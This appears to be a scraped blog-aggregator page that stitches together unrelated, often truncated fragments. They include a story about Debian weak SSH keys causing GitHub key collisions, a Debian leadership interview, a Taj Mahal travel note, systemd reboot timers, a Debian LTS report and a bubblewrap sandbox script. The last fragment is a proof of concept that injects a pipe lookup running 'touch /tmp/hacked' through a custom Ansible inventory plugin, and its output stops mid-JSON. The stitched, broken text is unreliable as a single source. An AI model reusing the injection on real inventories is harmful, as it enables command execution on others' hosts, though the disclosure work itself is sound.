ceb

• Green electricity from your mainstream supplier is a lie
• Ripple
• Contracts for Difference
• Ripple and CfD
• Voting No

ceb

Prelude to an Adventure Our story begins back in March 2008. I was working at Engine Yard (EY), a now largely-forgotten Rails-focused hosting company, which pioneered several advances in Rails application deployment. Probably EY s greatest claim to lasting fame is that they helped launch a little code hosting platform you might have heard of, by providing them free infrastructure when they were little more than a glimmer in the Internet s eye. I am, of course, talking about everyone s favourite Microsoft product: GitHub. Since GitHub was in the right place, at the right time, with a compelling product offering, they quickly started to gain traction, and grow their userbase. With growth comes challenges, amongst them the one we re focusing on today: SSH login times. Then, as now, GitHub provided SSH access to the git repos they hosted, by SSHing to git@github.com with publickey authentication. They were using the standard way that everyone manages SSH keys: the ~/.ssh/authorized_keys file, and that became a problem as the number of keys started to grow. The way that SSH uses this file is that, when a user connects and asks for publickey authentication, SSH opens the ~/.ssh/authorized_keys file and scans all of the keys listed in it, looking for a key which matches the key that the user presented. This linear search is normally not a huge problem, because nobody in their right mind puts more than a few keys in their ~/.ssh/authorized_keys, right?

Of course, as a popular, rapidly-growing service, GitHub was gaining users at a fair clip, to the point that the one big file that stored all the SSH keys was starting to visibly impact SSH login times. This problem was also not going to get any better by itself. Something Had To Be Done. EY management was keen on making sure GitHub ran well, and so despite it not really being a hosting problem, they were willing to help fix this problem. For some reason, the late, great, Ezra Zygmuntowitz pointed GitHub in my direction, and let me take the time to really get into the problem with the GitHub team. After examining a variety of different possible solutions, we came to the conclusion that the least-worst option was to patch OpenSSH to lookup keys in a MySQL database, indexed on the key fingerprint. We didn t take this decision on a whim it wasn t a case of yeah, sure, let s just hack around with OpenSSH, what could possibly go wrong? . We knew it was potentially catastrophic if things went sideways, so you can imagine how much worse the other options available were. Ensuring that this wouldn t compromise security was a lot of the effort that went into the change. In the end, though, we rolled it out in early April, and lo! SSH logins were fast, and we were pretty sure we wouldn t have to worry about this problem for a long time to come. Normally, you d think patching OpenSSH to make mass SSH logins super fast would be a good story on its own. But no, this is just the opening scene.

Chekov s Gun Makes its Appearance Fast forward a little under a month, to the first few days of May 2008. I get a message from one of the GitHub team, saying that somehow users were able to access other users repos over SSH. Naturally, as we d recently rolled out the OpenSSH patch, which touched this very thing, the code I d written was suspect number one, so I was called in to help.

They're called The Usual Suspects for a reason, but sometimes, it really is Keyser S ze

Eventually, after more than a little debugging, we discovered that, somehow, there were two users with keys that had the same key fingerprint. This absolutely shouldn t happen it s a bit like winning the lottery twice in a row¹ unless the users had somehow shared their keys with each other, of course. Still, it was worth investigating, just in case it was a web application bug, so the GitHub team reached out to the users impacted, to try and figure out what was going on. The users professed no knowledge of each other, neither admitted to publicising their key, and couldn t offer any explanation as to how the other person could possibly have gotten their key. Then things went from weird to what the ? . Because another pair of users showed up, sharing a key fingerprint but it was a different shared key fingerprint. The odds now have gone from winning the lottery multiple times in a row to as close to this literally cannot happen as makes no difference.

Once we were really, really confident that the OpenSSH patch wasn t the cause of the problem, my involvement in the problem basically ended. I wasn t a GitHub employee, and EY had plenty of other customers who needed my help, so I wasn t able to stay deeply involved in the on-going investigation of The Mystery of the Duplicate Keys. However, the GitHub team did keep talking to the users involved, and managed to determine the only apparent common factor was that all the users claimed to be using Debian or Ubuntu systems, which was where their SSH keys would have been generated. That was as far as the investigation had really gotten, when along came May 13, 2008.

Chekov s Gun Goes Off With the publication of DSA-1571-1, everything suddenly became clear. Through a well-meaning but ultimately disasterous cleanup of OpenSSL s randomness generation code, the Debian maintainer had inadvertently reduced the number of possible keys that could be generated by a given user from bazillions to a little over 32,000. With so many people signing up to GitHub some of them no doubt following best practice and freshly generating a separate key it s unsurprising that some collisions occurred. You can imagine the sense of oooooooh, so that s what s going on! that rippled out once the issue was understood. I was mostly glad that we had conclusive evidence that my OpenSSH patch wasn t at fault, little knowing how much more contact I was to have with Debian weak keys in the future, running a huge store of known-compromised keys and using them to find misbehaving Certificate Authorities, amongst other things.

Lessons Learned While I ve not found a description of exactly when and how Luciano Bello discovered the vulnerability that became CVE-2008-0166, I presume he first came across it some time before it was disclosed likely before GitHub tripped over it. The stable Debian release that included the vulnerable code had been released a year earlier, so there was plenty of time for Luciano to have discovered key collisions and go hmm, I wonder what s going on here? , then keep digging until the solution presented itself. The thought hmm, that s odd , followed by intense investigation, leading to the discovery of a major flaw is also what ultimately brought down the recent XZ backdoor. The critical part of that sequence is the ability to do that intense investigation, though. When I reflect on my brush with the Debian weak keys vulnerability, what sticks out to me is the fact that I didn t do the deep investigation. I wonder if Luciano hadn t found it, how long it might have been before it was found. The GitHub team would have continued investigating, presumably, and perhaps they (or I) would have eventually dug deep enough to find it. But we were all super busy myself, working support tickets at EY, and GitHub feverishly building features and fighting the fires in their rapidly-growing service. As it was, Luciano was able to take the time to dig in and find out what was happening, but just like the XZ backdoor, I feel like we, as an industry, got a bit lucky that someone with the skills, time, and energy was on hand at the right time to make a huge difference. It s a luxury to be able to take the time to really dig into a problem, and it s a luxury that most of us rarely have. Perhaps an understated takeaway is that somehow we all need to wrestle back some time to follow our hunches and really dig into the things that make us go hmm .

Support My Hunches If you d like to help me be able to do intense investigations of mysterious software phenomena, you can shout me a refreshing beverage on ko-fi.

---

1. the odds are actually probably more like winning the lottery about twenty times in a row. The numbers involved are staggeringly huge, so it s easiest to just approximate it as really, really unlikely .

• Andreas Tille [this document]
• Sruthi Chandran [Interview]

How am I? Well, I'm, as I wrote in my platform, I'm a proud grandfather doing a lot of free software stuff, doing a lot of sports, have some goals in mind which I like to do and hopefully for the best of Debian.

How I'm doing today? Well, actually I have some headaches but it's fine for the interview. So, usually I feel very good. Spring was coming here and today it's raining and I plan to do a bicycle tour tomorrow and hope that I do not get really sick but yeah, for the interview it's fine.

Yeah, well, I started with Debian kind of an accident because I wanted to have some package salvaged which is called WordNet. It's a monolingual dictionary and I did not really plan to do more than maybe 10 packages or so. I had some kind of training with xTeddy which is totally unimportant, a cute teddy you can put on your desktop. So, and then well, more or less I thought how can I make Debian attractive for my employer which is a medical institute and so on. It could make sense to package bioinformatics and medicine software and it somehow evolved in a direction I did neither expect it nor wanted to do, that I'm currently the most busy uploader in Debian, created several teams around it. DebianMate is very well known from me. I created the Blends team to create teams and techniques around what we are doing which was Debian TIS, Debian Edu, Debian Science and so on and I also created the packaging team for R, for the statistics package R which is technically based and not topic based. All these blends are covering a certain topic and R is just needed by lots of these blends. So, yeah, and to cope with all this I have written a script which is routing an update to manage all these uploads more or less automatically. So, I think I had one day where I uploaded 21 new packages but it's just automatically generated, right? So, it's on one day more than I ever planned to do.

The worst thing I think about Debian, it's complicated. I think today on Debian board I was asked about the technical progress I want to make and in my opinion we need to standardize things inside Debian. For instance, bringing all the packages to salsa, follow some common standards, some common workflow which is extremely helpful. As I said, if I'm that productive with my own packages we can adopt this in general, at least in most cases I think. I made a lot of good experience by the support of well-formed teams. Well-formed teams are those teams where people support each other, help each other. For instance, how to say, I'm a physicist by profession so I'm not an IT expert. I can tell apart what works and what not but I'm not an expert in those packages. I do and the amount of packages is so high that I do not even understand all the techniques they are covering like Go, Rust and something like this. And I also don't speak Java and I had a problem once in the middle of the night and I've sent the email to the list and was a Java problem and I woke up in the morning and it was solved. This is what I call a team. I don't call a team some common repository that is used by random people for different packages also but it's working together, don't hesitate to solve other people's problems and permit people to get active. This is what I call a team and this is also something I observed in, it's hard to give a percentage, in a lot of other teams but we have other people who do not even understand the concept of the team. Why is working together make some advantage and this is also a tough thing. I [would] like to tackle in my term if I get elected to form solid teams using the common workflow. This is one thing. The other thing is that we have a lot of good people in our infrastructure like FTP masters, DSA and so on. I have the feeling they have a lot of work and are working more or less on their limits, and I like to talk to them [to ask] what kind of change we could do to move that limits or move their personal health to the better side.

Yeah, well this is basically what I said are my main issues. I need to admit I have no really clear imagination what kind of tasks will come to me as a DPL because all these financial issues and law issues possible and issues [that] people who are not really friendly to Debian might create. I'm afraid these things might occupy a lot of time and I can't say much about this because I simply don't know.

As I said, I like to work on standards, I d like to make Debian try [to get it right so] that people don't get overworked, this third key point is be inviting to newcomers, to everybody who wants to come. Yeah, I also mentioned in my term this diversity issue, geographical and from gender point of view. This may be the three points I consider most important.

Yeah, my preferred one? Ah, well, I have no preferred text editor. I'm using the Midnight Commander very frequently which has an internal editor which is convenient for small text. For other things, I usually use VI but I also use Emacs from time to time. So, no, I have not preferred text editor. Whatever works nicely for me.

Yeah, I think the community is extremely important. So, I was on a lot of DebConfs. I think it's not really 20 but 17 or 18 DebCons and I really enjoyed these events every year because I met so many friends and met so many interesting people that it's really enriching my life and those who I never met in person but have read interesting things and yeah, Debian community makes really a part of my life.

Yeah, for instance, last year in Kochi, it became even clearer to me that the geographical diversity is a really strong point. Just discussing with some women from India who is afraid about not coming next year to Busan because there's a problem with Shanghai and so on. I'm not really sure how we can solve this but I think this is a problem at least I wish to tackle and yeah, this is an interesting point, the geographical diversity and I'm running the so-called mentoring of the month. This is a small project to attract newcomers for the Debian Med team which has the focus on medical packages and I learned that we had always men applying for this and so I said, okay, I dropped the constraint of medical packages. Any topic is fine, I teach you packaging but it must be someone who does not consider himself a man. I got only two applicants, no, actually, I got one applicant and one response which was kind of strange if I'm hunting for women or so. I did not understand but I got one response and interestingly, it was for me one of the least expected counters. It was from Iran and I met a very nice woman, very open, very skilled and gifted and did a good job or have even lose contact today and maybe we need more actively approach groups that are underrepresented. I don't know if what's a good means which I did but at least I tried and so I try to think about these kind of things.

Well, the card game which is called Mao on the DebConf made me smile all the time. I admit I joined only two or three times even if I really love this kind of games but I was occupied by other stuff so this made me really smile. I also think the first online DebConf in 2020 made me smile because we had this kind of short video sequences and I tried to make a funny video sequence about every DebConf I attended before. This is really funny moments but yeah, it's not only smile but yeah. One thing maybe it's totally unconnected to Debian but I learned personally something in Debian that we have a do-ocracy and you can do things which you think that are right if not going in between someone else, right? So respect everybody else but otherwise you can do so. And in 2020 I also started to take trees which are growing widely in my garden and plant them into the woods because in our woods a lot of trees are dying and so I just do something because I can. I have the resource to do something, take the small tree and bring it into the woods because it does not harm anybody. I asked the forester if it is okay, yes, yes, okay. So everybody can do so but I think the idea to do something like this came also because of the free software idea. You have the resources, you have the computer, you can do something and you do something productive, right? And when thinking about this I think it was also my Debian work. Meanwhile I have planted more than 3,000 trees so it's not a small number but yeah, I enjoy this.

Yeah, it's basically the same as I said before. We need more standards to work together. I do not want to repeat this but this is what I think, yeah.

It's also in general, the thing is the fact that I'm maintaining packages which are usually as modern software is maintained in Git, which is fine but we have some software which is at Sourceport, we have software laying around somewhere, we have software where Debian somehow became Upstream because nobody is caring anymore and free software is very different in several things, ways and well, I in principle like freedom of choice which is the basic of all our work. Sometimes this freedom goes in the way of productivity because everybody is free to re-implement. You asked me for the most favorite editor. In principle one really good working editor would be great to have and would work and we have maybe 500 in Debian or so, I don't know. I could imagine if people would concentrate and say five instead of 500 editors, we could get more productive, right? But I know this will not happen, right? But I think this is one thing which goes in the way of making things smooth and productive and we could have more manpower to replace one person who's [having] children, doing some other stuff and can't continue working on something and maybe this is a problem I will not solve, definitely not, but which I see.

Yeah, well, okay, we can bring together different Upstreams, so we are building some packages and have some general overview about similar things and can say, oh, you are doing this and some other person is doing more or less the same, do you want to join each other or so, but this is kind of a channel we have to our Upstreams which is probably not very successful. It starts with code copies of some libraries which are changed a little bit, which is fine license-wise, but not so helpful for different things and so I've tried to convince those Upstreams to forward their patches to the original one, but for this and I think we could do some kind of, yeah, [find] someone who brings Upstream together or to make them stop their forking stuff, but it costs a lot of energy and we probably don't have this and it's also not realistic that we can really help with this problem.

I enjoyed the interview, I enjoyed seeing you again after half a year or so. Yeah, actually I've seen you in the eating room or cheese and wine party or so, I do not remember we had to really talk together, but yeah, people around, yeah, for sure. Yeah.

The problem here is with Open Source Software.

The problem here is with software.

Well then, the problem is capitalism.

Then the problem must be with consumers.

Then the solution is Open Source.

Adulthood is saying, 'But after this week things will slow down a bit' over and over until you die.

• https://www.debian.org/vote/2021/vote_003
• https://www.debian.org/vote/2022/vote_001

• Phabricator T336905: Supporting AI, LLM, and data models on WMCS
• ollama.com

• Phabricator T279110: Replace PodSecurityPolicy in Toolforge Kubernetes
• keycloak.org

• new harbor command line interface coming soon. Only the first iteration though.
• harbor operator, to install and manage harbor. Looking for new maintainers, otherwise going to be archived.
• the project is now experimenting with adding support to hosting more artifacts: maven, NPM, pypi. I wonder if they will consider hosting Debian .deb packages.

Our retiring room at the Old Delhi Railway Station.

Security outside the Taj Mahal complex.

This red colored building is entrance to where you can see the Taj Mahal.

Taj Mahal.

Shoe covers for going inside the mausoleum.

Taj Mahal from side angle.

Expenses These were our expenses per person Retiring room at Delhi Railway Station for 12 hours 131 Train ticket from Delhi to Agra (Taj Express) 110 Retiring room at Agra Cantt station for 12 hours 450 Auto-rickshaw to Taj Mahal 20 Taj Mahal ticket (including going inside the mausoleum): 250 Food 350

Important information for visitors

• Taj Mahal is closed on Friday.
• There are plenty of free-of-cost drinking water taps inside the Taj Mahal complex.
• Ticket price for Indians is 50, for foreigners and NRIs it is 1100, and for people from SAARC/BIMSTEC is 540. 200 extra for the mausoleum for everyone.
• A visit inside the mausoleum requires covering your shoes or removing them. Shoe covers costs 10 per person inside the complex, but are probably involved free of charge in foreigner tickets. We could not find a place to keep our shoes, but some people managed to enter barefoot, indicating there must be some place to keep your shoes.
• Mobile phones and cameras are allowed inside the Taj Mahal, but not eatables.
• We went there on March 10th, and the weather was pleasant. So, we recommend going around that time.
• Regarding the timings, I found this written near the ticket counter: Taj Mahal opens 30 minutes before sunrise and closes 30 minutes before sunset during normal operating days, so the timings are vague. But we came out of the complex at 18:00 hours. I would interpret that to mean the Taj Mahal is open from 07:00 to 18:00, and the ticket counter closes at around 17:00. During the winter, the timings might differ.
• The cheapest way to reach Taj Mahal is by bus, and the bus stop is here

Bye for now. See you in the next post :)

You: uptime

Me: Every machine gets rebooted at 1AM to clear the slate for maintenance, and at 3:30AM to push through any pending updates. @SwiftOnSecurity, December 27, 2020

Ultimately, uptime only measures the duration since you last proved you can turn the machine on and have it boot. @SwiftOnSecurity, May 7, 2016

Stage One: Reboot Cron The first, and easiest approach, is a simple cron job. Just adding the following line to /var/spool/cron/crontabs/root¹ is enough to get your machine to reboot once a month² on the 6th at 8:00 AM³:

0 8 6 * * reboot

I had this configured for many years and it works well. But you have no indication as to whether it succeeds except for checking your uptime regularly yourself.

Stage Two: Reboot systemd Timer The next evolution of this approach for me was to use a systemd timer. I created a regular-reboot.timer with the following contents:

[Unit]
Description=Reboot on a Regular Basis
[Timer]
Unit=regular-reboot.service
OnBootSec=1month
[Install]
WantedBy=timers.target

This timer will trigger the regular-reboot.service systemd unit when the system reaches one month of uptime. I ve seen some guides to creating timer units recommend adding a Wants=regular-reboot.service to the [Unit] section, but this has the consequence of running that service every time it starts the timer. In this case that will just reboot your system on startup which is not what you want. Care needs to be taken to use the OnBootSec directive instead of OnCalendar or any of the other time specifications, as your system could reboot, discover its still within the expected window and reboot again. With OnBootSec your system will not have that problem. Technically, this same problem could have occurred with the cronjob approach, but in practice it never did, as the systems took long enough to come back up that they were no longer within the expected window for the job. I then added the regular-reboot.service:

[Unit]
Description=Reboot on a Regular Basis
Wants=regular-reboot.timer
[Service]
Type=oneshot
ExecStart=shutdown -r 02:45

You ll note that this service is actually scheduling a specific reboot time via the shutdown command instead of just immediately rebooting. This is a bit of a hack needed because I can t control when the timer runs exactly when using OnBootSec. This way different systems have different reboot times so that everything doesn t just reboot and fail all at once. Were something to fail to come back up I would have some time to fix it, as each machine has a few hours between scheduled reboots. One you have both files in place, you ll simply need to reload configuration and then enable and start the timer unit:

systemctl daemon-reload
systemctl enable --now regular-reboot.timer

You can then check when it will fire next:

# systemctl status regular-reboot.timer
  regular-reboot.timer - Reboot on a Regular Basis
     Loaded: loaded (/etc/systemd/system/regular-reboot.timer; enabled; preset: enabled)
     Active: active (waiting) since Wed 2024-03-13 01:54:52 EDT; 1 week 4 days ago
    Trigger: Fri 2024-04-12 12:24:42 EDT; 2 weeks 4 days left
   Triggers:   regular-reboot.service
Mar 13 01:54:52 dorfl systemd[1]: Started regular-reboot.timer - Reboot on a Regular Basis.

Sidenote: Replacing all Cron Jobs with systemd Timers More generally, I ve now replaced all cronjobs on my personal systems with systemd timer units, mostly because I can now actually track failures via prometheus-node-exporter. There are plenty of ways to hack in cron support to the node exporter, but just moving to systemd units provides both support for tracking failure and logging, both of which make system administration much easier when things inevitably go wrong.

systemd-cron An alternative to converting everything by hand, if you happen to have a lot of cronjobs is systemd-cron. It will make each crontab and /etc/cron.* directory into automatic service and timer units. Thanks to Alexandre Detiste for letting me know about this project. I have few enough cron jobs that I ve already converted, but for anyone looking at a large number of jobs to convert you ll want to check it out!

Stage Three: Monitor that it s working The final step here is confirm that these units actually work, beyond just firing regularly. I now have the following rule in my prometheus-alertmanager rules:

  - alert: UptimeTooHigh
    expr: (time() - node_boot_time_seconds job="node" ) / 86400 > 35
    annotations:
      summary: "Instance  Has Been Up Too Long!"
      description: "Instance  Has Been Up Too Long!"

This will trigger an alert anytime that I have a machine up for more than 35 days. This actually helped me track down one machine that I had forgotten to set up this new unit on⁴.

Not everything needs to scale One of the most common fallacies programmers fall into is that we will jump to automating a solution before we stop and figure out how much time it would even save. In taking a slow improvement route to solve this problem for myself, I ve managed not to invest too much time⁵ in worrying about this but also achieved a meaningful improvement beyond my first approach of doing it all by hand.

1. You could also add a line to /etc/crontab or drop a script into /etc/cron.monthly depending on your system.
2. Why once a month? Mostly to avoid regular disruptions, but still be reasonably timely on updates.
3. If you re looking to understand the cron time format I recommend crontab guru.
4. In the long term I really should set up something like ansible to automatically push fleetwide changes like this but with fewer machines than fingers this seems like overkill.
5. Of course by now writing about it, I ve probably doubled the amount of time I ve spent thinking about this topic but oh well

• Don t do the obvious thing; it s never what you want
  • Q. Download and run whatever code from the internet?
• Option 1: WTF, no I don t want curl bash
• Option 2: Biting the curl bash bullet
  • Privilege separation
• OMG what a mess

[source.debian-packages]
directory = "/usr/share/cargo/registry"
[source.crates-io]
replace-with = "debian-packages"

Ubuntu is curated, so it probably wouldn t get this far. If it did, then the worst case is that it would get in the way of CI allowing other packages to be removed (again from a curated system, so people are used to removal not being self-service); but the release team would have no hesitation in removing a package like this to fix that, and it certainly wouldn t cause this amount of angst. If you did this in a PPA, then I can t think of any particular negative effects.

Debian LTS contributors In February, 18 contributors have been paid to work on Debian LTS, their reports are available:

• Abhijith PA did 10.0h (out of 14.0h assigned), thus carrying over 4.0h to the next month.
• Adrian Bunk did 13.5h (out of 24.25h assigned and 41.75h from previous period), thus carrying over 52.5h to the next month.
• Bastien Roucari s did 20.0h (out of 20.0h assigned).
• Ben Hutchings did 2.0h (out of 14.5h assigned and 9.5h from previous period), thus carrying over 22.0h to the next month.
• Chris Lamb did 18.0h (out of 18.0h assigned).
• Daniel Leidert did 10.0h (out of 10.0h assigned).
• Emilio Pozuelo Monfort did 3.0h (out of 28.25h assigned and 31.75h from previous period), thus carrying over 57.0h to the next month.
• Guilhem Moulin did 7.25h (out of 4.75h assigned and 15.25h from previous period), thus carrying over 12.75h to the next month.
• Holger Levsen did 0.5h (out of 3.5h assigned and 8.5h from previous period), thus carrying over 11.5h to the next month.
• Lee Garrett did 0.0h (out of 18.25h assigned and 41.75h from previous period), thus carrying over 60.0h to the next month.
• Markus Koschany did 40.0h (out of 40.0h assigned).
• Roberto C. S nchez did 3.5h (out of 8.75h assigned and 3.25h from previous period), thus carrying over 8.5h to the next month.
• Santiago Ruano Rinc n did 13.5h (out of 13.5h assigned and 2.5h from previous period), thus carrying over 2.5h to the next month.
• Sean Whitton did 4.5h (out of 0.5h assigned and 5.5h from previous period), thus carrying over 1.5h to the next month.
• Sylvain Beucler did 24.5h (out of 27.75h assigned and 32.25h from previous period), thus carrying over 35.5h to the next month.
• Thorsten Alteholz did 14.0h (out of 14.0h assigned).
• Tobias Frost did 12.0h (out of 12.0h assigned).
• Utkarsh Gupta did 11.25h (out of 26.75h assigned and 33.25h from previous period), thus carrying over 48.75 to the next month.

Evolution of the situation In February, we have released 17 DLAs. The number of DLAs published during February was a bit lower than usual, as there was much work going on in the area of triaging CVEs (a number of which turned out to not affect Debia buster, and others which ended up being duplicates, or otherwise determined to be invalid). Of the packages which did receive updates, notable were sudo (to fix a privilege management issue), and iwd and wpa (both of which suffered from authentication bypass vulnerabilities). While this has already been already announced in the Freexian blog, we would like to mention here the start of the Long Term Support project for Samba 4.17. You can find all the important details in that post, but we would like to highlight that it is thanks to our LTS sponsors that we are able to fund the work from our partner, Catalyst, towards improving the security support of Samba in Debian 12 (Bookworm).

Thanks to our sponsors Sponsors that joined recently are in bold.

• Platinum sponsors:
  • TOSHIBA (for 102 months)
  • Civil Infrastructure Platform (CIP) (for 70 months)
• Gold sponsors:
  • Roche Diagnostics International AG (for 113 months)
  • Linode (for 107 months)
  • Babiel GmbH (for 96 months)
  • Plat Home (for 96 months)
  • CINECA (for 70 months)
  • University of Oxford (for 52 months)
  • Deveryware (for 39 months)
  • VyOS Inc (for 34 months)
  • EDF SA (for 23 months)
• Silver sponsors:
  • Domeneshop AS (for 117 months)
  • Nantes M tropole (for 112 months)
  • Univention GmbH (for 103 months)
  • Universit Jean Monnet de St Etienne (for 103 months)
  • Ribbon Communications, Inc. (for 97 months)
  • Exonet B.V. (for 87 months)
  • Leibniz Rechenzentrum (for 81 months)
  • Minist re de l Europe et des Affaires trang res (for 64 months)
  • Cloudways by DigitalOcean (for 54 months)
  • Dinahosting SL (for 52 months)
  • Bauer Xcel Media Deutschland KG (for 46 months)
  • Platform.sh SAS (for 46 months)
  • Moxa Inc. (for 40 months)
  • sipgate GmbH (for 37 months)
  • OVH US LLC (for 35 months)
  • Tilburg University (for 35 months)
  • GSI Helmholtzzentrum f r Schwerionenforschung GmbH (for 27 months)
  • Soliton Systems K.K. (for 24 months)
• Bronze sponsors:
  • Evolix (for 118 months)
  • Seznam.cz, a.s. (for 118 months)
  • Intevation GmbH (for 115 months)
  • Linuxhotel GmbH (for 115 months)
  • Daevel SARL (for 113 months)
  • Bitfolk LTD (for 112 months)
  • Megaspace Internet Services GmbH (for 112 months)
  • NUMLOG (for 112 months)
  • Greenbone AG (for 111 months)
  • WinGo AG (for 111 months)
  • Ecole Centrale de Nantes - LHEEA (for 107 months)
  • Entr ouvert (for 102 months)
  • Adfinis AG (for 99 months)
  • GNI MEDIA (for 94 months)
  • Laboratoire LEGI - UMR 5519 / CNRS (for 94 months)
  • Tesorion (for 94 months)
  • Bearstech (for 85 months)
  • LiHAS (for 85 months)
  • Catalyst IT Ltd (for 80 months)
  • Supagro (for 75 months)
  • Demarcq SAS (for 74 months)
  • Universit Grenoble Alpes (for 60 months)
  • TouchWeb SAS (for 52 months)
  • SPiN AG (for 49 months)
  • CoreFiling (for 44 months)
  • Institut des sciences cognitives Marc Jeannerod (for 39 months)
  • Observatoire des Sciences de l Univers de Grenoble (for 36 months)
  • Tem Innovations GmbH (for 31 months)
  • WordFinder.pro (for 30 months)
  • CNRS DT INSU R sif (for 29 months)
  • Alter Way (for 22 months)
  • Institut Camille Jordan (for 11 months)

• [1] https://www.raspberrypi.com/products/raspberry-pi-400/
• [2] https://jenson.org/text/
• [3] http://tinyurl.com/27lrakl6
• [4] https://en.wikipedia.org/wiki/Watch
• [5] https://en.wikipedia.org/wiki/Calculator_watch
• [6] http://tinyurl.com/27gb7zrq
• [7] https://etbe.coker.com.au/2023/05/29/considering-convergence/
• [8] http://tinyurl.com/yuurhkvm
• [9] http://tinyurl.com/ytmw42bt
• [10] https://www.aliexpress.com/store/1103322555
• [11] https://en.wikipedia.org/wiki/Apple_Vision_Pro
• [12] https://etbe.coker.com.au/2011/10/28/desktop-augmented-reality/
• [13] https://www.aliexpress.com/item/1005005999353358.html
• [14] https://etbe.coker.com.au/2024/01/29/thinkpad-x1-yoga-gen3/
• [15] https://etbe.coker.com.au/2023/10/21/more-about-pinetime/
• [16] http://tinyurl.com/24myjjqn
• [17] https://etbe.coker.com.au/2023/10/11/pinephone-status/
• [18] https://etbe.coker.com.au/2022/03/19/more-librem5/
• [19] https://etbe.coker.com.au/2023/07/08/sandboxing-phone-apps/

Convenient or it won t happen Nevertheless I thought I should do something about this. The safest option would probably to use dedicated virtual machines for the development work, with very little interaction with my main system. But knowing me, that did not seem likely to happen, as it sounded like a fair amount of hassle. So I aimed for a viable compromise between security and convenient, and one that does not get too much in the way of my current habits. For instance, it seems desirable to have the project files accessible from my unconstrained environment. This way, I could perform certain actions that need access to secret keys or tokens, but are (unlikely) to run code (e.g. git push, git pull from private repositories, gh pr create) from the outside , and the actual build environment can do without access to these secrets. The user experience I thus want is a quick way to enter a development environment where I can do most of the things I need to do while programming (network access, running command line and GUI programs), with access to the current project, but without access to my actual /home directory. I initially followed the blog post Application Isolation using NixOS Containers by Marcin Sucharski and got something working that mostly did what I wanted, but then a colleague pointed out that tools like firejail can achieve roughly the same with a less global setup. I tried to use firejail, but found it to be a bit too inflexible for my particular whims, so I ended up writing a small wrapper around the lower level sandboxing tool https://github.com/containers/bubblewrap.

Selective bubblewrapping This script, called dev and included below, builds a new filesystem namespace with minimal /proc and /dev directories, it s own /tmp directories. It then binds-mound some directories to make the host s NixOS system available inside the container (/bin, /usr, the nix store including domain socket, stuff for OpenGL applications). My user s home directory is taken from ~/.dev-home and some configuration files are bind-mounted for convenient sharing. I intentionally don t share most of the configuration for example, a direnv enable in the dev environment should not affect the main environment. The X11 socket for graphical applications and the corresponding .Xauthority file is made available. And finally, if I run dev in a project directory, this project directory is bind mounted writable, and the current working directory is preserved. The effect is that I can type dev on the command line to enter dev mode rather conveniently. I can run development tools, including graphical ones like VSCode, and especially the latter with its extensions is part of the sandbox. To do a git push I either exit the development environment (Ctrl-D) or open a separate terminal. Overall, the inconvenience of switching back and forth seems worth the extra protection. Clearly, isn t going to hold against a determined and maybe targeted attacker (e.g. access to the X11 and the nix daemon socket can probably be used to escape easily). But I hope it will help against a compromised dev dependency that just deletes or exfiltrates data, like keys or passwords, from the usual places in $HOME.

Rough corners There is more polishing that could be done.

• In particular, clicking on a link inside VSCode in the container will currently open Firefox inside the container, without access to my settings and cookies etc. Ideally, links would be opened in the Firefox running outside. This is a problem that has a solution in the world of applications that are sandboxed with Flatpak, and involves a bunch of moving parts (a xdg-desktop-portal user service, a filtering dbus proxy, exposing access to that proxy in the container). I experimented with that for a bit longer than I should have, but could not get it to work to satisfaction (even without a container involved, I could not get xdg-desktop-portal to heed my default browser settings ). For now I will live with manually copying and pasting URLs, we ll see how long this lasts.
• With this setup (and unlike the NixOS container setup I tried first), the same applications are installed inside and outside. It might be useful to separate the set of installed programs: There is simply no point in running evolution or firefox inside the container, and if I do not even have VSCode or cabal available outside, so that it s less likely that I forget to enter dev before using these tools. It shouldn t be too hard to cargo-cult some of the NixOS Containers infrastructure to be able to have a separate system configuration that I can manage as part of my normal system configuration and make available to bubblewrap here.

So likely I will refine this some more over time. Or get tired of typing dev and going back to what I did before

The script

The dev script (at the time of writing)

#!/usr/bin/env bash

extra=()
if [[ "$PWD" == /home/jojo/build/* ]]   [[ "$PWD" == /home/jojo/projekte/programming/* ]]
then
extra+=(--bind "$PWD" "$PWD" --chdir "$PWD")
fi

if [ -n "$1" ]
then
    cmd=( "$@" )
else
    cmd=( bash )
fi

# Caveats:
# * access to all of  /etc 
# * access to  /nix/var/nix/daemon-socket/socket , and is trusted user (but needed to run nix)
# * access to X11

exec bwrap \
  --unshare-all \
\
 # blank slate  \
  --share-net \
  --proc /proc \
  --dev /dev \
  --tmpfs /tmp \
  --tmpfs /run/user/1000 \
\
 # Needed for GLX applications, in paticular alacritty  \
  --dev-bind /dev/dri /dev/dri \
  --ro-bind /sys/dev/char /sys/dev/char \
  --ro-bind /sys/devices/pci0000:00 /sys/devices/pci0000:00 \
  --ro-bind /run/opengl-driver /run/opengl-driver \
\
  --ro-bind /bin /bin \
  --ro-bind /usr /usr \
  --ro-bind /run/current-system /run/current-system \
  --ro-bind /nix /nix \
  --ro-bind /etc /etc \
  --ro-bind /run/systemd/resolve/stub-resolv.conf /run/systemd/resolve/stub-resolv.conf \
\
  --bind ~/.dev-home /home/jojo \
  --ro-bind ~/.config/alacritty ~/.config/alacritty  \
  --ro-bind ~/.config/nvim ~/.config/nvim  \
  --ro-bind ~/.local/share/nvim ~/.local/share/nvim  \
  --ro-bind ~/.bin ~/.bin \
\
  --bind /tmp/.X11-unix/X0 /tmp/.X11-unix/X0 \
  --bind ~/.Xauthority ~/.Xauthority \
  --setenv DISPLAY :0 \
\
  --setenv container dev \
  "$ extra[@] " \
  -- \
  "$ cmd[@] "

from ansible.plugins.inventory import BaseInventoryPlugin
class InventoryModule(BaseInventoryPlugin):
    NAME = 'evgeni.inventoryrce.inventory'
    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid
    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('exploit.example.com')
        self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
        self.inventory.set_variable('exploit.example.com', 'something_funny', '  lookup("pipe", "touch /tmp/hacked" )  ')

1. defines the plugin name as evgeni.inventoryrce.inventory
2. accepts any config that ends with evgeni.yml (we'll need that to trigger the use of this inventory later)
3. adds an imaginary host exploit.example.com with local connection type and something_funny variable to the inventory

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
 
    "_meta":  
        "hostvars":  
            "exploit.example.com":  
                "ansible_connection": "local",
                "something_funny": "  lookup(\"pipe\", \"touch /tmp/hacked\" )  "
             
         
     ,
    "all":  
        "children": [
            "ungrouped"
